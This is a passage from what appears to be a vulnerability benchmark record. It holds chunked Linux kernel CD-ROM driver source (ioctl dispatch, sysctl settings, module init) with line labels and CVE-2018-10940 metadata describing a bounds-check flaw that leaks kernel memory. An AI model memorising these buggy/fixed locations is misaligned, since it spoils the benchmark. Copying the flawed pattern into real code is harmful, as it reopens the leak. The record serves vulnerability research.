block descriptor... */\n\toffset = 8 + be16_to_cpu(*(__be16 *)(buffer + 6));", "\tif (offset + 16 > sizeof(buffer))\n\t\treturn -E2BIG;", "\tif (offset + 16 > cgc->buflen) {\n\t\tcgc->buflen = offset + 16;\n\t\tret = cdrom_mode_sense(cdi, cgc,\n\t\t\t\t GPMODE_AUDIO_CTL_PAGE, 0);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}", "\t/* sanity check */\n\tif ((buffer[offset] & 0x3f) != GPMODE_AUDIO_CTL_PAGE ||\n\t buffer[offset + 1] < 14)\n\t\treturn -EINVAL;", "\t/* now we have the current volume settings. if it was only\n\t a CDROMVOLREAD, return these values */\n\tif (cmd == CDROMVOLREAD) {\n\t\tvolctrl.channel0 = buffer[offset+9];\n\t\tvolctrl.channel1 = buffer[offset+11];\n\t\tvolctrl.channel2 = buffer[offset+13];\n\t\tvolctrl.channel3 = buffer[offset+15];\n\t\tif (copy_to_user((struct cdrom_volctrl __user *)arg, &volctrl,\n\t\t\t\t sizeof(volctrl)))\n\t\t\treturn -EFAULT;\n\t\treturn 0;\n\t}\n\t\t\n\t/* get the volume mask */\n\tcgc->buffer = mask;\n\tret = cdrom_mode_sense(cdi, cgc, GPMODE_AUDIO_CTL_PAGE, 1);\n\tif (ret)\n\t\treturn ret;", "\tbuffer[offset + 9] = volctrl.channel0 & mask[offset + 9];\n\tbuffer[offset + 11] = volctrl.channel1 & mask[offset + 11];\n\tbuffer[offset + 13] = volctrl.channel2 & mask[offset + 13];\n\tbuffer[offset + 15] = volctrl.channel3 & mask[offset + 15];", "\t/* set volume */\n\tcgc->buffer = buffer + offset - 8;\n\tmemset(cgc->buffer, 0, 8);\n\treturn cdrom_mode_select(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_start_stop(struct cdrom_device_info *cdi,\n\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t int cmd)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMSTART/CDROMSTOP\\n\");\n\tcgc->cmd[0] = GPCMD_START_STOP_UNIT;\n\tcgc->cmd[1] = 1;\n\tcgc->cmd[4] = (cmd == CDROMSTART) ? 1 : 0;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_cdrom_pause_resume(struct cdrom_device_info *cdi,\n\t\t\t\t\t\t struct packet_command *cgc,\n\t\t\t\t\t\t int cmd)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROMPAUSE/CDROMRESUME\\n\");\n\tcgc->cmd[0] = GPCMD_PAUSE_RESUME;\n\tcgc->cmd[8] = (cmd == CDROMRESUME) ? 1 : 0;\n\tcgc->data_direction = CGC_DATA_NONE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static noinline int mmc_ioctl_dvd_read_struct(struct cdrom_device_info *cdi,\n\t\t\t\t\t void __user *arg,\n\t\t\t\t\t struct packet_command *cgc)\n{\n\tint ret;\n\tdvd_struct *s;\n\tint size = sizeof(dvd_struct);", "\tif (!CDROM_CAN(CDC_DVD))\n\t\treturn -ENOSYS;", "\ts = memdup_user(arg, size);\n\tif (IS_ERR(s))\n\t\treturn PTR_ERR(s);", "\tcd_dbg(CD_DO_IOCTL, \"entering DVD_READ_STRUCT\\n\");", "\tret = dvd_read_struct(cdi, s, cgc);\n\tif (ret)\n\t\tgoto out;", "\tif (copy_to_user(arg, s, size))\n\t\tret = -EFAULT;\nout:\n\tkfree(s);\n\treturn ret;\n}", "static noinline int mmc_ioctl_dvd_auth(struct cdrom_device_info *cdi,\n\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tdvd_authinfo ai;\n\tif (!CDROM_CAN(CDC_DVD))\n\t\treturn -ENOSYS;\n\tcd_dbg(CD_DO_IOCTL, \"entering DVD_AUTH\\n\");\n\tif (copy_from_user(&ai, (dvd_authinfo __user *)arg, sizeof(ai)))\n\t\treturn -EFAULT;\n\tret = dvd_do_auth(cdi, &ai);\n\tif (ret)\n\t\treturn ret;\n\tif (copy_to_user((dvd_authinfo __user *)arg, &ai, sizeof(ai)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static noinline int mmc_ioctl_cdrom_next_writable(struct cdrom_device_info *cdi,\n\t\t\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tlong next = 0;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_NEXT_WRITABLE\\n\");\n\tret = cdrom_get_next_writable(cdi, &next);\n\tif (ret)\n\t\treturn ret;\n\tif (copy_to_user((long __user *)arg, &next, sizeof(next)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static noinline int mmc_ioctl_cdrom_last_written(struct cdrom_device_info *cdi,\n\t\t\t\t\t\t void __user *arg)\n{\n\tint ret;\n\tlong last = 0;\n\tcd_dbg(CD_DO_IOCTL, \"entering CDROM_LAST_WRITTEN\\n\");\n\tret = cdrom_get_last_written(cdi, &last);\n\tif (ret)\n\t\treturn ret;\n\tif (copy_to_user((long __user *)arg, &last, sizeof(last)))\n\t\treturn -EFAULT;\n\treturn 0;\n}", "static int mmc_ioctl(struct cdrom_device_info *cdi, unsigned int cmd,\n\t\t unsigned long arg)\n{\n\tstruct packet_command cgc;\n\tvoid __user *userptr = (void __user *)arg;", "\tmemset(&cgc, 0, sizeof(cgc));", "\t/* build a unified command and queue it through\n\t cdo->generic_packet() */\n\tswitch (cmd) {\n\tcase CDROMREADRAW:\n\tcase CDROMREADMODE1:\n\tcase CDROMREADMODE2:\n\t\treturn mmc_ioctl_cdrom_read_data(cdi, userptr, &cgc, cmd);\n\tcase CDROMREADAUDIO:\n\t\treturn mmc_ioctl_cdrom_read_audio(cdi, userptr);\n\tcase CDROMSUBCHNL:\n\t\treturn mmc_ioctl_cdrom_subchannel(cdi, userptr);\n\tcase CDROMPLAYMSF:\n\t\treturn mmc_ioctl_cdrom_play_msf(cdi, userptr, &cgc);\n\tcase CDROMPLAYBLK:\n\t\treturn mmc_ioctl_cdrom_play_blk(cdi, userptr, &cgc);\n\tcase CDROMVOLCTRL:\n\tcase CDROMVOLREAD:\n\t\treturn mmc_ioctl_cdrom_volume(cdi, userptr, &cgc, cmd);\n\tcase CDROMSTART:\n\tcase CDROMSTOP:\n\t\treturn mmc_ioctl_cdrom_start_stop(cdi, &cgc, cmd);\n\tcase CDROMPAUSE:\n\tcase CDROMRESUME:\n\t\treturn mmc_ioctl_cdrom_pause_resume(cdi, &cgc, cmd);\n\tcase DVD_READ_STRUCT:\n\t\treturn mmc_ioctl_dvd_read_struct(cdi, userptr, &cgc);\n\tcase DVD_AUTH:\n\t\treturn mmc_ioctl_dvd_auth(cdi, userptr);\n\tcase CDROM_NEXT_WRITABLE:\n\t\treturn mmc_ioctl_cdrom_next_writable(cdi, userptr);\n\tcase CDROM_LAST_WRITTEN:\n\t\treturn mmc_ioctl_cdrom_last_written(cdi, userptr);\n\t}", "\treturn -ENOTTY;\n}", "/*\n * Just about every imaginable ioctl is supported in the Uniform layer\n * these days.\n * ATAPI / SCSI specific code now mainly resides in mmc_ioctl().\n */\nint cdrom_ioctl(struct cdrom_device_info *cdi, struct block_device *bdev,\n\t\tfmode_t mode, unsigned int cmd, unsigned long arg)\n{\n\tvoid __user *argp = (void __user *)arg;\n\tint ret;", "\t/*\n\t * Try the generic SCSI command ioctl's first.\n\t */\n\tret = scsi_cmd_blk_ioctl(bdev, mode, cmd, argp);\n\tif (ret != -ENOTTY)\n\t\treturn ret;", "\tswitch (cmd) {\n\tcase CDROMMULTISESSION:\n\t\treturn cdrom_ioctl_multisession(cdi, argp);\n\tcase CDROMEJECT:\n\t\treturn cdrom_ioctl_eject(cdi);\n\tcase CDROMCLOSETRAY:\n\t\treturn cdrom_ioctl_closetray(cdi);\n\tcase CDROMEJECT_SW:\n\t\treturn cdrom_ioctl_eject_sw(cdi, arg);\n\tcase CDROM_MEDIA_CHANGED:\n\t\treturn cdrom_ioctl_media_changed(cdi, arg);\n\tcase CDROM_SET_OPTIONS:\n\t\treturn cdrom_ioctl_set_options(cdi, arg);\n\tcase CDROM_CLEAR_OPTIONS:\n\t\treturn cdrom_ioctl_clear_options(cdi, arg);\n\tcase CDROM_SELECT_SPEED:\n\t\treturn cdrom_ioctl_select_speed(cdi, arg);\n\tcase CDROM_SELECT_DISC:\n\t\treturn cdrom_ioctl_select_disc(cdi, arg);\n\tcase CDROMRESET:\n\t\treturn cdrom_ioctl_reset(cdi, bdev);\n\tcase CDROM_LOCKDOOR:\n\t\treturn cdrom_ioctl_lock_door(cdi, arg);\n\tcase CDROM_DEBUG:\n\t\treturn cdrom_ioctl_debug(cdi, arg);\n\tcase CDROM_GET_CAPABILITY:\n\t\treturn cdrom_ioctl_get_capability(cdi);\n\tcase CDROM_GET_MCN:\n\t\treturn cdrom_ioctl_get_mcn(cdi, argp);\n\tcase CDROM_DRIVE_STATUS:\n\t\treturn cdrom_ioctl_drive_status(cdi, arg);\n\tcase CDROM_DISC_STATUS:\n\t\treturn cdrom_ioctl_disc_status(cdi);\n\tcase CDROM_CHANGER_NSLOTS:\n\t\treturn cdrom_ioctl_changer_nslots(cdi);\n\t}", "\t/*\n\t * Use the ioctls that are implemented through the generic_packet()\n\t * interface. this may look at bit funny, but if -ENOTTY is\n\t * returned that particular ioctl is not implemented and we\n\t * let it go through the device specific ones.\n\t */\n\tif (CDROM_CAN(CDC_GENERIC_PACKET)) {\n\t\tret = mmc_ioctl(cdi, cmd, arg);\n\t\tif (ret != -ENOTTY)\n\t\t\treturn ret;\n\t}", "\t/*\n\t * Note: most of the cd_dbg() calls are commented out here,\n\t * because they fill up the sys log when CD players poll\n\t * the drive.\n\t */\n\tswitch (cmd) {\n\tcase CDROMSUBCHNL:\n\t\treturn cdrom_ioctl_get_subchnl(cdi, argp);\n\tcase CDROMREADTOCHDR:\n\t\treturn cdrom_ioctl_read_tochdr(cdi, argp);\n\tcase CDROMREADTOCENTRY:\n\t\treturn cdrom_ioctl_read_tocentry(cdi, argp);\n\tcase CDROMPLAYMSF:\n\t\treturn cdrom_ioctl_play_msf(cdi, argp);\n\tcase CDROMPLAYTRKIND:\n\t\treturn cdrom_ioctl_play_trkind(cdi, argp);\n\tcase CDROMVOLCTRL:\n\t\treturn cdrom_ioctl_volctrl(cdi, argp);\n\tcase CDROMVOLREAD:\n\t\treturn cdrom_ioctl_volread(cdi, argp);\n\tcase CDROMSTART:\n\tcase CDROMSTOP:\n\tcase CDROMPAUSE:\n\tcase CDROMRESUME:\n\t\treturn cdrom_ioctl_audioctl(cdi, cmd);\n\t}", "\treturn -ENOSYS;\n}", "EXPORT_SYMBOL(cdrom_get_last_written);\nEXPORT_SYMBOL(register_cdrom);\nEXPORT_SYMBOL(unregister_cdrom);\nEXPORT_SYMBOL(cdrom_open);\nEXPORT_SYMBOL(cdrom_release);\nEXPORT_SYMBOL(cdrom_ioctl);\nEXPORT_SYMBOL(cdrom_media_changed);\nEXPORT_SYMBOL(cdrom_number_of_slots);\nEXPORT_SYMBOL(cdrom_mode_select);\nEXPORT_SYMBOL(cdrom_mode_sense);\nEXPORT_SYMBOL(init_cdrom_command);\nEXPORT_SYMBOL(cdrom_get_media_event);", "#ifdef CONFIG_SYSCTL", "#define CDROM_STR_SIZE 1000", "static struct cdrom_sysctl_settings {\n\tchar\tinfo[CDROM_STR_SIZE];\t/* general info */\n\tint\tautoclose;\t\t/* close tray upon mount, etc */\n\tint\tautoeject;\t\t/* eject on umount */\n\tint\tdebug;\t\t\t/* turn on debugging messages */\n\tint\tlock;\t\t\t/* lock the door on device open */\n\tint\tcheck;\t\t\t/* check media type */\n} cdrom_sysctl_settings;", "enum cdrom_print_option {\n\tCTL_NAME,\n\tCTL_SPEED,\n\tCTL_SLOTS,\n\tCTL_CAPABILITY\n};", "static int cdrom_print_info(const char *header, int val, char *info,\n\t\t\t\tint *pos, enum cdrom_print_option option)\n{\n\tconst int max_size = sizeof(cdrom_sysctl_settings.info);\n\tstruct cdrom_device_info *cdi;\n\tint ret;", "\tret = scnprintf(info + *pos, max_size - *pos, header);\n\tif (!ret)\n\t\treturn 1;", "\t*pos += ret;", "\tlist_for_each_entry(cdi, &cdrom_list, list) {\n\t\tswitch (option) {\n\t\tcase CTL_NAME:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%s\", cdi->name);\n\t\t\tbreak;\n\t\tcase CTL_SPEED:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%d\", cdi->speed);\n\t\t\tbreak;\n\t\tcase CTL_SLOTS:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%d\", cdi->capacity);\n\t\t\tbreak;\n\t\tcase CTL_CAPABILITY:\n\t\t\tret = scnprintf(info + *pos, max_size - *pos,\n\t\t\t\t\t\"\\t%d\", CDROM_CAN(val) != 0);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tpr_info(\"invalid option%d\\n\", option);\n\t\t\treturn 1;\n\t\t}\n\t\tif (!ret)\n\t\t\treturn 1;\n\t\t*pos += ret;\n\t}", "\treturn 0;\n}", "static int cdrom_sysctl_info(struct ctl_table *ctl, int write,\n void __user *buffer, size_t *lenp, loff_t *ppos)\n{\n\tint pos;\n\tchar *info = cdrom_sysctl_settings.info;\n\tconst int max_size = sizeof(cdrom_sysctl_settings.info);\n\t\n\tif (!*lenp || (*ppos && !write)) {\n\t\t*lenp = 0;\n\t\treturn 0;\n\t}", "\tmutex_lock(&cdrom_mutex);", "\tpos = sprintf(info, \"CD-ROM information, \" VERSION \"\\n\");\n\t\n\tif (cdrom_print_info(\"\\ndrive name:\\t\", 0, info, &pos, CTL_NAME))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\ndrive speed:\\t\", 0, info, &pos, CTL_SPEED))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\ndrive # of slots:\", 0, info, &pos, CTL_SLOTS))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan close tray:\\t\",\n\t\t\t\tCDC_CLOSE_TRAY, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan open tray:\\t\",\n\t\t\t\tCDC_OPEN_TRAY, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan lock tray:\\t\",\n\t\t\t\tCDC_LOCK, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan change speed:\",\n\t\t\t\tCDC_SELECT_SPEED, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan select disk:\",\n\t\t\t\tCDC_SELECT_DISC, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read multisession:\",\n\t\t\t\tCDC_MULTI_SESSION, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read MCN:\\t\",\n\t\t\t\tCDC_MCN, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nReports media changed:\",\n\t\t\t\tCDC_MEDIA_CHANGED, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan play audio:\\t\",\n\t\t\t\tCDC_PLAY_AUDIO, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write CD-R:\\t\",\n\t\t\t\tCDC_CD_R, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write CD-RW:\",\n\t\t\t\tCDC_CD_RW, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read DVD:\\t\",\n\t\t\t\tCDC_DVD, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write DVD-R:\",\n\t\t\t\tCDC_DVD_R, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write DVD-RAM:\",\n\t\t\t\tCDC_DVD_RAM, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan read MRW:\\t\",\n\t\t\t\tCDC_MRW, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write MRW:\\t\",\n\t\t\t\tCDC_MRW_W, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (cdrom_print_info(\"\\nCan write RAM:\\t\",\n\t\t\t\tCDC_RAM, info, &pos, CTL_CAPABILITY))\n\t\tgoto done;\n\tif (!scnprintf(info + pos, max_size - pos, \"\\n\\n\"))\n\t\tgoto done;\ndoit:\n\tmutex_unlock(&cdrom_mutex);\n\treturn proc_dostring(ctl, write, buffer, lenp, ppos);\ndone:\n\tpr_info(\"info buffer too small\\n\");\n\tgoto doit;\n}", "/* Unfortunately, per device settings are not implemented through\n procfs/sysctl yet. When they are, this will naturally disappear. For now\n just update all drives. Later this will become the template on which\n new registered drives will be based. */\nstatic void cdrom_update_settings(void)\n{\n\tstruct cdrom_device_info *cdi;", "\tmutex_lock(&cdrom_mutex);\n\tlist_for_each_entry(cdi, &cdrom_list, list) {\n\t\tif (autoclose && CDROM_CAN(CDC_CLOSE_TRAY))\n\t\t\tcdi->options |= CDO_AUTO_CLOSE;\n\t\telse if (!autoclose)\n\t\t\tcdi->options &= ~CDO_AUTO_CLOSE;\n\t\tif (autoeject && CDROM_CAN(CDC_OPEN_TRAY))\n\t\t\tcdi->options |= CDO_AUTO_EJECT;\n\t\telse if (!autoeject)\n\t\t\tcdi->options &= ~CDO_AUTO_EJECT;\n\t\tif (lockdoor && CDROM_CAN(CDC_LOCK))\n\t\t\tcdi->options |= CDO_LOCK;\n\t\telse if (!lockdoor)\n\t\t\tcdi->options &= ~CDO_LOCK;\n\t\tif (check_media_type)\n\t\t\tcdi->options |= CDO_CHECK_TYPE;\n\t\telse\n\t\t\tcdi->options &= ~CDO_CHECK_TYPE;\n\t}\n\tmutex_unlock(&cdrom_mutex);\n}", "static int cdrom_sysctl_handler(struct ctl_table *ctl, int write,\n\t\t\t\tvoid __user *buffer, size_t *lenp, loff_t *ppos)\n{\n\tint ret;\n\t\n\tret = proc_dointvec(ctl, write, buffer, lenp, ppos);", "\tif (write) {\n\t\n\t\t/* we only care for 1 or 0. */\n\t\tautoclose = !!cdrom_sysctl_settings.autoclose;\n\t\tautoeject = !!cdrom_sysctl_settings.autoeject;\n\t\tdebug\t = !!cdrom_sysctl_settings.debug;\n\t\tlockdoor = !!cdrom_sysctl_settings.lock;\n\t\tcheck_media_type = !!cdrom_sysctl_settings.check;", "\t\t/* update the option flags according to the changes. we\n\t\t don't have per device options through sysctl yet,\n\t\t but we will have and then this will disappear. */\n\t\tcdrom_update_settings();\n\t}", " return ret;\n}", "/* Place files in /proc/sys/dev/cdrom */\nstatic struct ctl_table cdrom_table[] = {\n\t{\n\t\t.procname\t= \"info\",\n\t\t.data\t\t= &cdrom_sysctl_settings.info, \n\t\t.maxlen\t\t= CDROM_STR_SIZE,\n\t\t.mode\t\t= 0444,\n\t\t.proc_handler\t= cdrom_sysctl_info,\n\t},\n\t{\n\t\t.procname\t= \"autoclose\",\n\t\t.data\t\t= &cdrom_sysctl_settings.autoclose,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"autoeject\",\n\t\t.data\t\t= &cdrom_sysctl_settings.autoeject,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"debug\",\n\t\t.data\t\t= &cdrom_sysctl_settings.debug,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"lock\",\n\t\t.data\t\t= &cdrom_sysctl_settings.lock,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler,\n\t},\n\t{\n\t\t.procname\t= \"check_media\",\n\t\t.data\t\t= &cdrom_sysctl_settings.check,\n\t\t.maxlen\t\t= sizeof(int),\n\t\t.mode\t\t= 0644,\n\t\t.proc_handler\t= cdrom_sysctl_handler\n\t},\n\t{ }\n};", "static struct ctl_table cdrom_cdrom_table[] = {\n\t{\n\t\t.procname\t= \"cdrom\",\n\t\t.maxlen\t\t= 0,\n\t\t.mode\t\t= 0555,\n\t\t.child\t\t= cdrom_table,\n\t},\n\t{ }\n};", "/* Make sure that /proc/sys/dev is there */\nstatic struct ctl_table cdrom_root_table[] = {\n\t{\n\t\t.procname\t= \"dev\",\n\t\t.maxlen\t\t= 0,\n\t\t.mode\t\t= 0555,\n\t\t.child\t\t= cdrom_cdrom_table,\n\t},\n\t{ }\n};\nstatic struct ctl_table_header *cdrom_sysctl_header;", "static void cdrom_sysctl_register(void)\n{\n\tstatic int initialized;", "\tif (initialized == 1)\n\t\treturn;", "\tcdrom_sysctl_header = register_sysctl_table(cdrom_root_table);", "\t/* set the defaults */\n\tcdrom_sysctl_settings.autoclose = autoclose;\n\tcdrom_sysctl_settings.autoeject = autoeject;\n\tcdrom_sysctl_settings.debug = debug;\n\tcdrom_sysctl_settings.lock = lockdoor;\n\tcdrom_sysctl_settings.check = check_media_type;", "\tinitialized = 1;\n}", "static void cdrom_sysctl_unregister(void)\n{\n\tif (cdrom_sysctl_header)\n\t\tunregister_sysctl_table(cdrom_sysctl_header);\n}", "#else /* CONFIG_SYSCTL */", "static void cdrom_sysctl_register(void)\n{\n}", "static void cdrom_sysctl_unregister(void)\n{\n}", "#endif /* CONFIG_SYSCTL */", "static int __init cdrom_init(void)\n{\n\tcdrom_sysctl_register();", "\treturn 0;\n}", "static void __exit cdrom_exit(void)\n{\n\tpr_info(\"Uniform CD-ROM driver unloaded\\n\");\n\tcdrom_sysctl_unregister();\n}", "module_init(cdrom_init);\nmodule_exit(cdrom_exit);\nMODULE_LICENSE(\"GPL\");" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [2375], "buggy_code_start_loc": [2374], "filenames": ["drivers/cdrom/cdrom.c"], "fixing_code_end_loc": [2375], "fixing_code_start_loc": [2374], "message": "The cdrom_ioctl_media_changed function in drivers/cdrom/cdrom.c in the Linux kernel before 4.16.6 allows local attackers to use a incorrect bounds check in the CDROM driver CDROM_MEDIA_CHANGED ioctl to read out kernel memory.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "9CA128AB-2A36-4F06-9C2D-5A2D171DDB00", "versionEndExcluding": "4.16.6", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "16F59A04-14CF-49E2-9973-645477EA09DA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "The cdrom_ioctl_media_changed function in drivers/cdrom/cdrom.c in the Linux kernel before 4.16.6 allows local attackers to use a incorrect bounds check in the CDROM driver CDROM_MEDIA_CHANGED ioctl to read out kernel memory."}, {"lang": "es", "value": "La funci\u00f3n cdrom_ioctl_media_changed en drivers/cdrom/cdrom.c en el kernel de Linux en versiones anteriores a la 4.16.6 permite que atacantes locales empleen una comprobaci\u00f3n de l\u00edmites incorrecta en el ioctl CDROM_MEDIA_CHANGED del controlador CDROM para leer la memoria del kernel."}], "evaluatorComment": null, "id": "CVE-2018-10940", "lastModified": "2018-10-31T10:30:52.887", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 4.9, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:L/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-05-09T17:29:00.290", "references": [{"source": "cve@mitre.org", "tags": ["Patch"], "url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9de4ee40547fd315d4a0ed1dd15a2fa3559ad707"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory", "VDB Entry"], "url": "http://www.securityfocus.com/bid/104154"}, {"source": "cve@mitre.org", "tags": null, "url": "https://access.redhat.com/errata/RHSA-2018:2948"}, {"source": "cve@mitre.org", "tags": null, "url": "https://access.redhat.com/errata/RHSA-2018:3083"}, {"source": "cve@mitre.org", "tags": null, "url": "https://access.redhat.com/errata/RHSA-2018:3096"}, {"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/torvalds/linux/commit/9de4ee40547fd315d4a0ed1dd15a2fa3559ad707"}, {"source": "cve@mitre.org", "tags": ["Third 